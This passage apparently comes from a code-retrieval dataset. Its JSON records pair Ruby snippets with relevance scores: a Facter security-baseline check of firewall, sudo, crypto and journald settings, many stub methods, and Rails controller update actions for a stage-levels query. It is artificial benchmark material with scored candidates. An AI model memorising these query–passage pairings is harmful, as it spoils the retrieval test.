%r{udp\\s*ct\\s*state\\s*established\\s*accept}\n true\n else\n false\n end\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | awk '/hook input/,/}/' | grep -E 'ip protocol icmp ct state'\")\n conns['in_icmp'] = if val.nil? || val.empty?\n false\n elsif val =~ %r{icmp\\s*ct\\s*state\\s*established\\s*accept}\n true\n else\n false\n end\n\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | awk '/hook output/,/}/' | grep -E 'ip protocol tcp ct state'\")\n conns['out_tcp'] = if val.nil? || val.empty?\n false\n elsif val =~ %r{tcp\\s*ct\\s*state\\s*established,related,new\\s*accept}\n true\n else\n false\n end\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | awk '/hook output/,/}/' | grep -E 'ip protocol udp ct state'\")\n conns['out_udp'] = if val.nil? || val.empty?\n false\n elsif val =~ %r{udp\\s*ct\\s*state\\s*established,related,new\\s*accept}\n true\n else\n false\n end\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | awk '/hook output/,/}/' | grep -E 'ip protocol icmp ct state'\")\n conns['out_icmp'] = if val.nil? || val.empty?\n false\n elsif val =~ %r{icmp\\s*ct\\s*state\\s*established,related,new\\s*accept}\n true\n else\n false\n end\n conns['status'] = conns['in_tcp'] && conns['in_udp'] && conns['in_icmp'] && conns['out_tcp'] && conns['out_udp'] && conns['out_icmp']\n nft[table]['conns'] = conns\n\n policy = {}\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'hook input'\")\n if val.nil? || val.empty?\n policy['input'] = 'none'\n else\n m = val.match(%r{policy\\s*(?<policy>\\w*);})\n unless m.nil?\n policy['input'] = m[:policy].downcase\n end\n end\n\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'hook forward'\")\n if val.nil? || val.empty?\n policy['forward'] = 'none'\n else\n m = val.match(%r{policy\\s*(?<policy>\\w*);})\n unless m.nil?\n policy['forward'] = m[:policy].downcase\n end\n end\n\n val = Facter::Core::Execution.exec(\"/usr/sbin/nft list ruleset #{table} | grep 'hook output'\")\n if val.nil? || val.empty?\n policy['output'] = 'none'\n else\n m = val.match(%r{policy\\s*(?<policy>\\w*);})\n unless m.nil?\n policy['output'] = m[:policy].downcase\n end\n end\n\n policy['status'] = policy['input'] == 'drop' && policy['forward'] == 'drop' && policy['output'] == 'drop'\n nft[table]['policy'] = policy\n nft[table]['rules'] = read_nftables_rules(table)\n end\n\n security_baseline['nftables'] = nft\n end\n\n wlan = []\n if File.exist?('/usr/bin/nmcli')\n val = Facter::Core::Execution.exec('/usr/bin/nmcli radio all 2>&1 | grep -v WIFI')\n if val.nil? || val.empty?\n status = 'disabled'\n elsif val == 'Error: NetworkManager is not running.'\n status = 'disabled'\n else\n m = val.match(%r{^(enabled|disabled)\\s*(?<wifi>\\w*)\\s*(enabled|disabled)})\n status = if m.nil?\n 'disabled'\n else\n m[:wifi]\n end\n end\n security_baseline['wlan_status'] = status\n else\n cnt = 0\n nw = Facter.value(:networking)\n nw['interfaces'].each do |ifname, _data|\n if ifname =~ %r{wlan}\n cnt += 1\n wlan.push(ifname)\n end\n end\n security_baseline['wlan_interfaces'] = wlan\n security_baseline['wlan_interfaces_count'] = cnt\n end\n\n sudo = {}\n val = Facter::Core::Execution.exec(\"grep -Ehi '^\\s*Defaults\\s+(\\[^#]+,\\s*)?use_pty' /etc/sudoers /etc/sudoers.d/*\")\n sudo['use_pty'] = check_value_string(val, 'none')\n if sudo['use_pty'] != 'none'\n sudo['use_pty'] = 'used'\n end\n val = Facter::Core::Execution.exec(\"grep -Ei '^\\s*Defaults\\s+([^#]+,\\s*)?logfile=' /etc/sudoers /etc/sudoers.d/*\")\n sudo['logfile'] = check_value_string(val, 'none')\n if sudo['logfile'] != 'none'\n sudo['logfile'] = 'configured'\n end\n security_baseline['sudo'] = sudo\n\n crypto_policy = {}\n if File.exist?('/etc/crypto-policies/config')\n val = Facter::Core::Execution.exec(\"grep -E -h -i '^\\s*LEGACY\\s*(\\s+#.*)?$' /etc/crypto-policies/config\")\n crypto_policy['legacy'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec(\"grep -E -h -i '^\\s*(FUTURE|FIPS)\\s*(\\s+#.*)?$' /etc/crypto-policies/config\")\n crypto_policy['policy'] = check_value_string(val, 'none')\n else\n crypto_policy['legacy'] = 'none'\n crypto_policy['policy'] = 'none'\n end\n if File.exist?('/usr/bin/fips-mode-setup')\n val = Facter::Core::Execution.exec('/usr/bin/fips-mode-setup --check')\n crypto_policy['fips_mode'] = if val.nil? || val.empty?\n 'none'\n else\n m = val.match(%r{FIPS mode is\\s*(?<mode>\\w*)\\.})\n if m.nil?\n 'none'\n else\n m[:mode]\n end\n end\n end\n security_baseline['crypto_policy'] = crypto_policy\n\n val = if release > '6'\n Facter::Core::Execution.exec('grep -E \"^\\s*kernelopts=(\\S+\\s+)*ipv6\\.disable=1\\b\\s*(\\S+\\s*)*$\" /boot/grub2/grubenv')\n else\n Facter::Core::Execution.exec('grep -E \"^\\s*kernel(\\S+\\s+)*ipv6\\.disable=1\\b\\s*(\\S+\\s*)*$\" /boot/grub/grub.conf')\n end\n security_baseline['grub_ipv6_disabled'] = if val.nil? || val.empty?\n false\n elsif val =~ %r{ipv6.disable=1}\n true\n else\n false\n end\n\n if File.exist?('/etc/systemd/journald.conf')\n journald = {}\n val = Facter::Core::Execution.exec('grep -e ^\\s*ForwardToSyslog /etc/systemd/journald.conf')\n journald['forward_to_syslog'] = if val.nil? || val.empty?\n 'none'\n else\n m = val.match(%r{ForwardToSyslog=(?<flag>\\w*)})\n if m.nil?\n 'none'\n else\n m[:flag]\n end\n end\n\n val = Facter::Core::Execution.exec('grep -e ^\\s*Compress /etc/systemd/journald.conf')\n journald['compress'] = if val.nil? || val.empty?\n 'none'\n else\n m = val.match(%r{Compress=(?<flag>\\w*)})\n if m.nil?\n 'none'\n else\n m[:flag]\n end\n end\n\n val = Facter::Core::Execution.exec('grep -e ^\\s*Storage /etc/systemd/journald.conf')\n journald['storage_persistent'] = if val.nil? || val.empty?\n 'none'\n else\n m = val.match(%r{Storage=(?<flag>\\w*)})\n if m.nil?\n 'none'\n else\n m[:flag]\n end\n end\n\n security_baseline['journald'] = journald\n end\n\n if File.exist?('/usr/bin/authselect')\n authselect = {}\n val = Facter::Core::Execution.exec('/usr/bin/authselect current | grep \"Profile ID: custom/\"')\n authselect['profile'] = if val.nil? || val.empty?\n 'none'\n elsif val =~ %r{No existing configuration detected}\n 'none'\n else\n m = val.match(%r{Profile ID: custom\\/(?<profile>\\w*)})\n if m.nil?\n 'none'\n else\n m[:profile]\n end\n end\n\n val = Facter::Core::Execution.exec('/usr/bin/authselect current')\n options = []\n unless val.nil? || val.empty?\n val.split(\"\\n\").each do |line|\n next unless line =~ %r{^\\-}\n m = line.match(%r{^\\-\\s*(?<option>[a-zA-Z0-9\\-_]*)})\n unless m.nil?\n options.push(m[:option])\n end\n end\n end\n authselect['current_options'] = options\n val = Facter::Core::Execution.exec('/usr/bin/authselect current | grep with-faillock')\n authselect['faillock'] = check_value_string(val, 'none')\n val = Facter::Core::Execution.exec('grep with-faillock /etc/authselect/authselect.conf')\n authselect['faillock_global'] = check_value_string(val, 'none')\n security_baseline['authselect'] = authselect\n end\n\n valgroup = Facter::Core::Execution.exec('grep ^shadow:[^:]*:[^:]*:[^:]+ /etc/group')\n val = if valgroup.nil? || valgroup.empty?\n []\n else\n valgroup.split(\"\\n\")\n end\n security_baseline['shadow_group'] = val\n security_baseline['shadow_group_count'] = val.count\n\n security_baseline\nend",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.53162694",
"text": "def spec; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.53162694",
"text": "def spec; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.53162694",
"text": "def spec; end",
"title": ""
},
{
"docid": "3935d28f3a4e81a0fdd0aece47752998",
"score": "0.53105867",
"text": "def getLinuxOS\n 'fedora'\nend",
"title": ""
},
{
"docid": "2dbaf5f0b0256972166cf03f2a523d54",
"score": "0.5307201",
"text": "def check_xen_is_installed()\n return\nend",
"title": ""
},
{
"docid": "a6b1a8f698c86c0127c16f3a5c0db981",
"score": "0.52908385",
"text": "def apache_service_name\n node['platform_family'] == 'debian' ? 'apache2' : 'httpd'\nend",
"title": ""
},
{
"docid": "6c063ab3dc9a3f23ecf0d0de69a13516",
"score": "0.52903694",
"text": "def linux?; end",
"title": ""
},
{
"docid": "0c64a7a448eddc824039c511b217e51e",
"score": "0.5267083",
"text": "def _IOC_NONE; 0; end",
"title": ""
},
{
"docid": "feb51464e074644cba82a0f4d8e156f9",
"score": "0.5253398",
"text": "def version_support; end",
"title": ""
},
{
"docid": "bb051e7236766c4c83c230e2590713b4",
"score": "0.5247217",
"text": "def version_supplied; end",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.5237691",
"text": "def used; end",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.5237691",
"text": "def used; end",
"title": ""
},
{
"docid": "41b529357c07fd936bf8f1337c88d374",
"score": "0.5225123",
"text": "def released_specs; end",
"title": ""
},
{
"docid": "5a848e1a78e814f4addafb82445f2b93",
"score": "0.51987773",
"text": "def version; 1; end",
"title": ""
},
{
"docid": "5a848e1a78e814f4addafb82445f2b93",
"score": "0.51987773",
"text": "def version; 1; end",
"title": ""
},
{
"docid": "5a848e1a78e814f4addafb82445f2b93",
"score": "0.51987773",
"text": "def version; 1; end",
"title": ""
},
{
"docid": "5a848e1a78e814f4addafb82445f2b93",
"score": "0.51987773",
"text": "def version; 1; end",
"title": ""
},
{
"docid": "5a848e1a78e814f4addafb82445f2b93",
"score": "0.51987773",
"text": "def version; 1; end",
"title": ""
},
{
"docid": "85800265ca161b0952d3fa58416f9c07",
"score": "0.51981443",
"text": "def readiness; end",
"title": ""
},
{
"docid": "b7567a2a68cade31f2360723a4c42dc7",
"score": "0.5181864",
"text": "def used_by; end",
"title": ""
},
{
"docid": "9e5606c2399f9a9376354d6d562812e8",
"score": "0.51805675",
"text": "def lookup_missing(header)\n puts 'looking up... (may take a few minutes)'.yellow\n matches = []\n `yum provides */usr/include/#{header}`.each_line { |l|\n if l =~ /(.*)\\.fc.*/\n matches << $1\n end\n }\n puts \"packages which provide header:\\n#{matches.join(\"\\n\")}\".yellow.bold\nend",
"title": ""
},
{
"docid": "2858ce02d89835726fd6b4f62b68dd7c",
"score": "0.51682943",
"text": "def amazon_linux?\n node['platform'] == 'amazon'\nend",
"title": ""
},
{
"docid": "907e9765259f083a71b0ebf61956f3a0",
"score": "0.5165087",
"text": "def available; end",
"title": ""
},
{
"docid": "907e9765259f083a71b0ebf61956f3a0",
"score": "0.5165087",
"text": "def available; end",
"title": ""
},
{
"docid": "907e9765259f083a71b0ebf61956f3a0",
"score": "0.5165087",
"text": "def available; end",
"title": ""
},
{
"docid": "907e9765259f083a71b0ebf61956f3a0",
"score": "0.5165087",
"text": "def available; end",
"title": ""
},
{
"docid": "b841c73053d4ce35a00face933657d32",
"score": "0.5156195",
"text": "def sysname; end",
"title": ""
},
{
"docid": "fa1cfeb728c30976b1eb5d6083294062",
"score": "0.513908",
"text": "def list_lxc_isos()\n return\nend",
"title": ""
},
{
"docid": "f09c69867b41927ee3bc59d88f925800",
"score": "0.5119784",
"text": "def server_os=(_arg0); end",
"title": ""
},
{
"docid": "f09c69867b41927ee3bc59d88f925800",
"score": "0.5119784",
"text": "def server_os=(_arg0); end",
"title": ""
},
{
"docid": "4fdbab55d366bdd89628ecd1c3115fd8",
"score": "0.51175094",
"text": "def platform_supports_intel_hpc_platform?\n node['platform'] == 'centos'\nend",
"title": ""
},
{
"docid": "4fdbab55d366bdd89628ecd1c3115fd8",
"score": "0.51175094",
"text": "def platform_supports_intel_hpc_platform?\n node['platform'] == 'centos'\nend",
"title": ""
},
{
"docid": "66642217c2a113418f10bcf330409ad8",
"score": "0.51121646",
"text": "def fingerprint\n\n case CONFIG['host_os']\n \t when /mswin|windows/i\n\t return -1\n\t when /linux/i\n\t return 1\n\t else\n\t\treturn 1 # assume *nix\n end\n\nend",
"title": ""
},
{
"docid": "6edfa800954fd9b0778d5220b56105cf",
"score": "0.50990355",
"text": "def system_resolution; 8 end",
"title": ""
},
{
"docid": "8283821b3df9d733a666c7bb6c735627",
"score": "0.5094652",
"text": "def deployed_devices; end",
"title": ""
},
{
"docid": "2a0ae1947d4dac95533adb85147c02b4",
"score": "0.5090506",
"text": "def handle_legacypackages(kernel,os_distro,os_version)\n if kernel == \"SunOS\"\n fact = %x[pkginfo -l |egrep 'PKGINST:|VERSION:' |awk '{print $2}'].gsub(/\\s+VERSION:\\s+/,\":\").gsub(/\\s+PKGINST:\\s+/,\"\")\n end\n if fact\n fact = fact.gsub(/\\n/,\",\")\n end\n return fact\nend",
"title": ""
},
{
"docid": "65835f0c6461d085af95837442dfb226",
"score": "0.50853235",
"text": "def capability; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.5074611",
"text": "def hostname; end",
"title": ""
},
{
"docid": "9de4306501711176ab8084b28395030d",
"score": "0.50526696",
"text": "def module; end",
"title": ""
},
{
"docid": "85340fc6cb8103d5767b99443f6345d9",
"score": "0.5048164",
"text": "def jboss_product\n Facter.value(:jboss_product)\n end",
"title": ""
},
{
"docid": "522e6f970389fe94eac61264ff45c60b",
"score": "0.5035882",
"text": "def linux?; false; end",
"title": ""
},
{
"docid": "9f6cc5a733219915239f98f40dc7935b",
"score": "0.5034656",
"text": "def _host; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.50274026",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.50274026",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.50274026",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "255c721fbe72f1966116214b2aa40b01",
"score": "0.50254804",
"text": "def hw_provider; end",
"title": ""
},
{
"docid": "dff37ea0d68b9c86bab1ceb2dfb658a9",
"score": "0.5010787",
"text": "def rc; end",
"title": ""
},
{
"docid": "ed5ed1dc0dbbcf30d3360ffcb42d9b82",
"score": "0.50041753",
"text": "def platform; end",
"title": ""
},
{
"docid": "ed5ed1dc0dbbcf30d3360ffcb42d9b82",
"score": "0.50041753",
"text": "def platform; end",
"title": ""
},
{
"docid": "4374c6cb27d31b65a33d0a92b5208e1d",
"score": "0.5002207",
"text": "def sysint_gpid; nil; end",
"title": ""
},
{
"docid": "066be921ec228d17c51f101728564a5d",
"score": "0.50018036",
"text": "def private\n head :ok\n end",
"title": ""
},
{
"docid": "d75c7529a52027a3fe78dfdb73b1e57c",
"score": "0.49958265",
"text": "def in_use?; end",
"title": ""
},
{
"docid": "66d419bb53fdda6d2bb5bc804e2dbe46",
"score": "0.49932712",
"text": "def check_hijack(env); end",
"title": ""
},
{
"docid": "66d419bb53fdda6d2bb5bc804e2dbe46",
"score": "0.49932712",
"text": "def check_hijack(env); end",
"title": ""
},
{
"docid": "66d419bb53fdda6d2bb5bc804e2dbe46",
"score": "0.49932712",
"text": "def check_hijack(env); end",
"title": ""
},
{
"docid": "07d133ef5fe26770b1a1f5896bd7d36e",
"score": "0.4989168",
"text": "def ordered_hash_support?\n jruby? || RUBY_VERSION > \"1.9.1\"\nend",
"title": ""
},
{
"docid": "13967270c8113e7192ebea1e0b50c9e1",
"score": "0.49872482",
"text": "def check_requirements\n\n reqs = []\n\n reqs << '32-bit Linux emulation support' if `sysctl -nq kern.features.linux` .to_i != 1\n reqs << '64-bit Linux emulation support' if `sysctl -nq kern.features.linux64`.to_i != 1\n\n mounted_filesystems = `mount -p`\n\n for fs, path in {\n 'linprocfs' => '/compat/linux/proc',\n 'linsysfs' => '/compat/linux/sys',\n 'tmpfs' => '/compat/linux/dev/shm',\n 'fdescfs' => '/dev/fd'\n }\n reqs << \"#{fs} mounted at #{path}\" if not mounted_filesystems =~ /#{Regexp.escape(path)}\\s+#{fs}/\n end\n\n reqs << 'write access to /compat/linux/dev/shm' if not File.writable?('/compat/linux/dev/shm')\n reqs\nend",
"title": ""
},
{
"docid": "90d1f8f62ea42524b58cb018e86c3581",
"score": "0.49848825",
"text": "def __xspec_context; self; end",
"title": ""
},
{
"docid": "067122646098d906d8c74937fc2946fe",
"score": "0.49783477",
"text": "def get_exceptions\n # Setup hash of common gems that certain ruby installs can't support\n # For now this is just rubynode for REE and JRuby, feel free to add more\n # hpricot is not in the jruby list because 0.6.x is supported.\n common_exceptions = {\n :ree => [\"rubynode\"], \n :jruby => [\"acts_as_ferret\", \"bleak_house\", \"bluecloth\", \"dnssd\", \"fastthread\", \"fcgi\", \"ferret\", \"fraction\", \"jk-ferret\", \"json\", \"libxml-ruby\", \"linecache\",\"mysql\", \"mysql2\", \"mysqlplus\", \"passenger\", \"pauldix-feedzirra\", \"pcaprub\", \"rb-appscript\", \"RedCloth\", \"rmagick\", \"ruby-debug-base\", \"ruby-prof\", \"rubynode\", \"sieve\", \"sqlite3-ruby\", \"system_timer\", \"taf2-curb\", \"termios\", \"timetrap\", \"twitter\", \"unicorn\", \"wikitext\", \"yajl-ruby\"]\n }\n mandated_version = {:ruby187 => [\"bleak_house\"]}\n returned_exceptions = ['']\n sync_version = `#{@sync_dir}/bin/gem --version`\n if @sync_dir.match('enterprise')\n returned_exceptions += common_exceptions[:ree]\n elsif @sync_dir.match('jruby')\n returned_exceptions += common_exceptions[:jruby]\n end\n if sync_version != '1.8.7'\n returned_exceptions += mandated_version[:ruby187]\n end\n return returned_exceptions\nend",
"title": ""
},
{
"docid": "e44ae2cef169d29f78b2b6306add59da",
"score": "0.49765265",
"text": "def huddlingly()\n end",
"title": ""
},
{
"docid": "8c97d95ff770eb701b91fb5623261106",
"score": "0.49676216",
"text": "def build_ks_alt_rpm_list(service_name,client_arch)\n rpm_list = []\n base_url = \"http://yum.puppetlabs.com/el/5/\"\n dep_url = base_url+\"/dependencies/\"+client_arch\n prod_url = base_url+\"/products/\"+client_arch\n if service_name.match(/[A-z]_[5,6]/)\n rpm_suffix = \"el5.\"+client_arch+\".rpm\"\n noarch_suffix = \"el5.noarch.rpm\"\n rpm_list.push(\"#{dep_url}/#{client_arch}/ruby-1.8.7.374-2.#{rpm_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/ruby-augeas-0.4.1-2.#{rpm_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/ruby-rgen-0.6.5-1.#{noarch_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/ruby-shadow-1.4.1-8.#{rpm_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/ruby-libs-1.8.7.374-2.#{rpm_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/rubygem-json-1.5.5-2.#{rpm_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/augeas-libs-0.10.0-4.#{rpm_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/rubygems-1.3.7-1.#{noarch_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/ruby-rdoc-1.8.7.374-2.#{rpm_suffix}\")\n rpm_list.push(\"#{dep_url}/#{client_arch}/ruby-irb-1.8.7.374-2.#{rpm_suffix}\")\n end\n rpm_list.push(\"#{prod_url}/facter-#{$facter_version}-1.#{rpm_suffix}\")\n hiera_url = prod_url.gsub(/x86_64/,\"i386\")\n rpm_list.push(\"#{hiera_url}/hiera-#{$hiera_version}-1.#{noarch_suffix}\")\n rpm_list.push(\"#{prod_url}/puppet-#{$puppet_version}-1.#{noarch_suffix}\")\n return rpm_list\nend",
"title": ""
},
{
"docid": "7fb7ddaff0df6ed70b9e1c825140cd8b",
"score": "0.49645388",
"text": "def supported_platforms\n {\n redhat: %w(7.5 6.9),\n oracle: %w(7.4 6.9),\n centos: %w(7.4.1708 6.9),\n amazon: %w(2018.03 2015.09),\n debian: %w(9.4 8.10 7.11),\n ubuntu: %w(18.04 16.04 14.04),\n suse: %w(11.4 12.2),\n }\nend",
"title": ""
},
{
"docid": "7db0727baf89eb76beac27c515d7fe32",
"score": "0.49637705",
"text": "def support; end",
"title": ""
},
{
"docid": "e06cbfa10cb95cb33e077476e13ed999",
"score": "0.49529672",
"text": "def check_yum_httpd()\n check_rhel_package(options,\"httpd\")\n check_rhel_firewall(options,\"http\",\"80/tcp\")\n check_rhel_service(options,\"httpd\")\n return\nend",
"title": ""
},
{
"docid": "f311ccc4af8cac1e8337d1581352913f",
"score": "0.49416855",
"text": "def dependency; end",
"title": ""
},
{
"docid": "f311ccc4af8cac1e8337d1581352913f",
"score": "0.49416855",
"text": "def dependency; end",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.49407917",
"text": "def desired; end",
"title": ""
},
{
"docid": "e258948fd3c062c0f4c6cb2d4e204677",
"score": "0.49365494",
"text": "def retry_on_windows; end",
"title": ""
},
{
"docid": "f20473284a2311111e1b322c0ab5070c",
"score": "0.49290055",
"text": "def native; end",
"title": ""
},
{
"docid": "f20473284a2311111e1b322c0ab5070c",
"score": "0.49290055",
"text": "def native; end",
"title": ""
},
{
"docid": "e810b5d51ce652ddba97f0cb8366d5a7",
"score": "0.49229538",
"text": "def include_version; end",
"title": ""
},
{
"docid": "e810b5d51ce652ddba97f0cb8366d5a7",
"score": "0.49229538",
"text": "def include_version; end",
"title": ""
},
{
"docid": "e810b5d51ce652ddba97f0cb8366d5a7",
"score": "0.49229538",
"text": "def include_version; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.49208623",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.49208623",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.49208623",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.49208623",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.49208623",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.49208623",
"text": "def bodystmt; end",
"title": ""
}
] |
e8cccc18785b26ddec2492b64bd93688
|
PATCH/PUT /stagelevels/1 PATCH/PUT /stagelevels/1.json
|
[
{
"docid": "1aacb170cc7fcd3bb043e665e4d20a9e",
"score": "0.7282867",
"text": "def update\n respond_to do |format|\n if @stagelevel.update(stagelevel_params)\n format.html { redirect_to @stagelevel, notice: 'Stagelevel was successfully updated.' }\n format.json { render :show, status: :ok, location: @stagelevel }\n else\n format.html { render :edit }\n format.json { render json: @stagelevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "08328512a41c323dbd26504dcc139208",
"score": "0.66741115",
"text": "def update\n logger.info \"got to update stages\"\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to @stage, :notice => 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de7e09dad2692bcd9dd3fef14a8ba8f1",
"score": "0.65556437",
"text": "def update\n @stage_max_depth = StageMaxDepth.find(params[:id])\n\n respond_to do |format|\n if @stage_max_depth.update_attributes(params[:stage_max_depth])\n format.html { redirect_to @stage_max_depth, notice: 'Stage max depth was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage_max_depth.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b13e40d4ddcc065714944297352f67e",
"score": "0.64924407",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to admin_stages_path, notice: t('app.msgs.success_updated', :obj => t('activerecord.models.stage')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c64c7219867634cd418ddb127d2514d4",
"score": "0.64687985",
"text": "def set_stagelevel\n @stagelevel = Stagelevel.find(params[:id])\n end",
"title": ""
},
{
"docid": "6f5bae844a53b3f47a9911c37e0d71e1",
"score": "0.6459128",
"text": "def update\n respond_to do |format|\n if @stage_sub_stage.update(stage_sub_stage_params)\n format.html { redirect_to @stage_sub_stage, notice: 'Sub stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage_sub_stage }\n else\n format.html { render :edit }\n format.json { render json: @stage_sub_stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8db5cd687b9626a10e5b13b1041c1c20",
"score": "0.64233065",
"text": "def update\n respond_to do |format|\n if @level.update(level_params)\n format.html { redirect_to referential_level_path(@referential, @level), notice: 'Level was successfully updated.' }\n format.json { render :show, status: :ok, location: @level }\n else\n format.html { render :edit }\n format.json { render json: @level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "affc1bf601231759b402d61fca064a25",
"score": "0.6394648",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(params[:stage])\n format.html { redirect_to edit_stage_path(@stage), notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3baaa9006b0a94eeaaa82414a85af281",
"score": "0.6391651",
"text": "def update\n respond_to do |format|\n if @stage.update(stage_params)\n format.html { redirect_to base_stages_url, notice: 'Stage was successfully updated.' }\n format.json { render :show, status: :ok, location: @stage }\n else\n @stages = BaseStage.all.map{ |c| c = (c.id == @stage.id)? @stage:c}\n @stage = BaseStage.new\n format.html { render :index }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb654e9dfb4de03479e9b3e5b375b526",
"score": "0.6389737",
"text": "def update\n respond_to do |format|\n if @level.update(level_params)\n format.html { redirect_to @level, notice: 'Level was successfully updated.' }\n format.json { render :show, status: :ok, location: @level }\n else\n format.html { render :edit }\n format.json { render json: @level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb654e9dfb4de03479e9b3e5b375b526",
"score": "0.6389737",
"text": "def update\n respond_to do |format|\n if @level.update(level_params)\n format.html { redirect_to @level, notice: 'Level was successfully updated.' }\n format.json { render :show, status: :ok, location: @level }\n else\n format.html { render :edit }\n format.json { render json: @level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb654e9dfb4de03479e9b3e5b375b526",
"score": "0.6389737",
"text": "def update\n respond_to do |format|\n if @level.update(level_params)\n format.html { redirect_to @level, notice: 'Level was successfully updated.' }\n format.json { render :show, status: :ok, location: @level }\n else\n format.html { render :edit }\n format.json { render json: @level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb654e9dfb4de03479e9b3e5b375b526",
"score": "0.6389737",
"text": "def update\n respond_to do |format|\n if @level.update(level_params)\n format.html { redirect_to @level, notice: 'Level was successfully updated.' }\n format.json { render :show, status: :ok, location: @level }\n else\n format.html { render :edit }\n format.json { render json: @level.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b185fe288fcc75d1253cb6debb59b04",
"score": "0.6378447",
"text": "def update\n # @level = Level.find(params[:id])\n\n# respond_to do |format|\n# if @level.update_attributes(params[:level])\n# format.html { redirect_to @level, notice: 'Level was successfully updated.' }\n# format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: @level.errors, status: :unprocessable_entity }\n# end\n# end\n end",
"title": ""
},
{
"docid": "aacdee9515fa1bfdb62dffbf9b3de3e4",
"score": "0.6376278",
"text": "def update\n @stage = Stage.find(params[:id])\n\n respond_to do |format|\n if @stage.update_attributes(stage_params)\n format.html { redirect_to project_stages_path @stage.project, notice: 'Stage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
